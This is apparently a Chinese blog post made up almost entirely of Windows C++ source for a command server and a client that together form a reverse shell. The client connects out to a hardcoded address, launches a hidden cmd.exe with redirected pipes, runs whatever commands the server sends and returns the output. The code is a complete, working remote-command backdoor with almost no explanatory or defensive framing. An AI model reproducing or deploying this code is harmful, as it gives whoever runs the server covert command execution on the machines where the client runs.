Loading... ## 服务端 发送命令 ```cpp #include <WinSock2.h> #include <WS2Tcpip.h> //注意上面的两个头文件一定要放在上面 #include <Windows.h> #include <string.h> #include <regex> #include <stdio.h> #include <process.h> #pragma comment(lib, "ws2_32.lib") #include "Git_Func.h" #define BUFF_SIZE 1024 //这个宏用来确定是编译服务端还是编译客户端 VOID __cdecl SocketThread(LPVOID lpParm); VOID __cdecl ReceiveThread(LPVOID lpParm); VOID __cdecl SendThread(LPVOID lpParm); int main() { WORD myVersionRequest = 0; WSADATA wsData; memset(&wsData, 0, sizeof(wsData)); myVersionRequest = MAKEWORD(2, 2); int err = WSAStartup(myVersionRequest, &wsData); if (!err) { } else { return 1; } SOCKET sock = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN addr; addr.sin_family = AF_INET; addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//ip地址,绑定所有的 addr.sin_port = htons(6000);//绑定端口 if (SOCKET_ERROR == bind(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR))) { WSACleanup(); return 2; } if (SOCKET_ERROR == listen(sock, 1)) { WSACleanup(); return 3; } SOCKADDR_IN clientSocket; memset(&clientSocket, 0, sizeof(clientSocket)); int len = sizeof(SOCKADDR); while (TRUE) { SOCKET sockNew = accept(sock, (SOCKADDR*)&clientSocket, &len); _beginthread(SocketThread, NULL, (LPVOID)sockNew); } closesocket(sock); WSACleanup(); return 0; } //服务端接收客户端打印信息的线程,和标准输出交互,服务端看到的文字就是这个线程打印的 VOID __cdecl ReceiveThread(LPVOID lpParm) { SOCKET socketNew = (SOCKET)lpParm; while (TRUE) { CHAR receiveBuffer[BUFF_SIZE]; INT len = recv(socketNew, receiveBuffer, BUFF_SIZE, 0); if (SOCKET_ERROR == len) { closesocket(socketNew); return; } receiveBuffer[len] = 0; printf("%s", receiveBuffer); } } //服务端发送命令的线程,这个线程和标准输入交互,将接收到的命令发送到客户端 VOID __cdecl SendThread(LPVOID lpParm) { SOCKET socketNew = (SOCKET)lpParm; char sendBuffer[BUFF_SIZE]; while (TRUE) { ZeroMemory(sendBuffer, BUFF_SIZE); fgets(sendBuffer, BUFF_SIZE, stdin); if (SOCKET_ERROR == send(socketNew, sendBuffer, strlen(sendBuffer), 0)) { return; } } } //新连接到来,创建接收和发送的线程 VOID __cdecl SocketThread(LPVOID lpParm) { _beginthread(ReceiveThread, NULL, lpParm); _beginthread(SendThread, NULL, lpParm); } ``` ## 客户端 ```cpp #include <WinSock2.h> #include <WS2Tcpip.h> //注意上面的两个头文件一定要放在上面 #include <Windows.h> #include <string.h> #include <regex> #include <stdio.h> #include <process.h> #pragma comment(lib, "ws2_32.lib") #include "Git_Func.h" #define BUFF_SIZE 1024 //保存管道的句柄,因为其他函数要用,所以定义成全局的 //hStdOutRead 用来读取新创建cmd进程的标准输出 //hStdInWrite 用来往新创建cmd进程的标准输入里写数据 HANDLE hStdOutRead = NULL, hStdInWrite = NULL; void ReadOutPutReadCmd(LPVOID lpParm); //创建两个管道,分别对应cmd进程的标准输入和标准输出 BOOL CreateTwoPipe(); // 执行 cmd 命令, 并获取执行结果数据 BOOL PipeCmd(char* pszCmd, char* pszResultBuffer, DWORD dwResultBufferSize); int main() { WSADATA wsaData; ZeroMemory(&wsaData, sizeof(wsaData)); if (!WSAStartup(MAKEWORD(2, 2), &wsaData)) { } else { return 1; } SOCKET sock = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN addr; in_addr ip; inet_pton(AF_INET, "192.168.0.102", &ip); //这里有一个坑ip.S_un.S_addr,这个变量已经是网络字节序,不需要再做转换 addr.sin_addr.S_un.S_addr = ip.S_un.S_addr; addr.sin_family = AF_INET; addr.sin_port = htons(6000); if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR))) { return 2; } if (!CreateTwoPipe()) { return 3; } INT nByteRecv = 0; char clientBuffer[BUFF_SIZE] = { 0 }; //创建读取输出的线程 _beginthread(ReadOutPutReadCmd, 0, (LPVOID)sock); while (TRUE) { ZeroMemory(clientBuffer, BUFF_SIZE); nByteRecv = recv(sock, clientBuffer, BUFF_SIZE, 0); if (SOCKET_ERROR == nByteRecv) { break; } printf("recv:%s", clientBuffer); //往管道里面写入数据 DWORD dwWriteSize = 0; if (!WriteFile(hStdInWrite, clientBuffer, nByteRecv, &dwWriteSize, NULL)) { break; } } CloseHandle(hStdInWrite); CloseHandle(hStdOutRead); closesocket(sock); WSACleanup(); } // 执行 cmd 命令, 并获取执行结果数据 BOOL PipeCmd(char* pszCmd, char* pszResultBuffer, DWORD dwResultBufferSize) { HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; SECURITY_ATTRIBUTES securityAttributes = { 0 }; BOOL bRet = FALSE; STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; // 设定管道的安全属性 securityAttributes.bInheritHandle = TRUE; securityAttributes.nLength = sizeof(securityAttributes); securityAttributes.lpSecurityDescriptor = NULL; // 创建匿名管道 bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0); if (FALSE == bRet) { return FALSE; } // 设置新进程参数 si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdError = hWritePipe; si.hStdOutput = hWritePipe; // 创建新进程执行命令, 将执行结果写入匿名管道中 bRet = ::CreateProcessA(NULL, pszCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); if (FALSE == bRet) { } // 等待命令执行结束 ::WaitForSingleObject(pi.hThread, INFINITE); ::WaitForSingleObject(pi.hProcess, INFINITE); // 从匿名管道中读取结果到输出缓冲区 ::RtlZeroMemory(pszResultBuffer, dwResultBufferSize); ::ReadFile(hReadPipe, pszResultBuffer, dwResultBufferSize, NULL, NULL); // 关闭句柄, 释放内存 ::CloseHandle(pi.hThread); ::CloseHandle(pi.hProcess); ::CloseHandle(hWritePipe); ::CloseHandle(hReadPipe); return TRUE; } //创建两个管道,分别对应cmd进程的标准输入和标准输出 BOOL CreateTwoPipe() { HANDLE hStdInRead = NULL, hStdOutWrite = NULL; SECURITY_ATTRIBUTES saIn, saOut; saIn.nLength = sizeof(saIn); saIn.bInheritHandle = TRUE; saIn.lpSecurityDescriptor = NULL; BOOL bRes = CreatePipe(&hStdInRead, &hStdInWrite, &saIn, 0); if (!bRes) { return FALSE; } saOut.nLength = sizeof(saOut); saOut.bInheritHandle = TRUE; saOut.lpSecurityDescriptor = NULL; bRes = CreatePipe(&hStdOutRead, &hStdOutWrite, &saOut, 0); if (!bRes) { return FALSE; } STARTUPINFOA si; ZeroMemory(&si, sizeof(si)); //这两个标志就是说使用si中的wShowWindow标记和hStdInput hStdOutput hStdError标记 //说白了就是隐藏cmd窗口和重定向标准输入输出 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hStdInRead; si.hStdOutput = hStdOutWrite; si.hStdError = hStdOutWrite; char szCmdLine[] = ("cmd.exe"); PROCESS_INFORMATION pi; bRes = CreateProcessA(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); if (!bRes) { return FALSE; } //子进程用, 父进程就关掉就可以了 CloseHandle(hStdInRead); CloseHandle(hStdOutWrite); return TRUE; } //从管道中读取标准输出的数据,然后send给服务端 void ReadOutPutReadCmd(LPVOID lpParm) { BYTE buffer[BUFF_SIZE] = { 0 }; int ret = 0; DWORD dwByteRecv = 0; SOCKET clientSocket = (SOCKET)lpParm; while (TRUE) { dwByteRecv = 0; ZeroMemory(buffer, sizeof(buffer)); if (!ReadFile(hStdOutRead, buffer, BUFF_SIZE, &dwByteRecv, NULL)) { break; } ret = send(clientSocket, (LPCSTR)buffer, dwByteRecv, 0); if (SOCKET_ERROR == ret) { break; } } } ``` 最后修改:2022 年 04 月 24 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏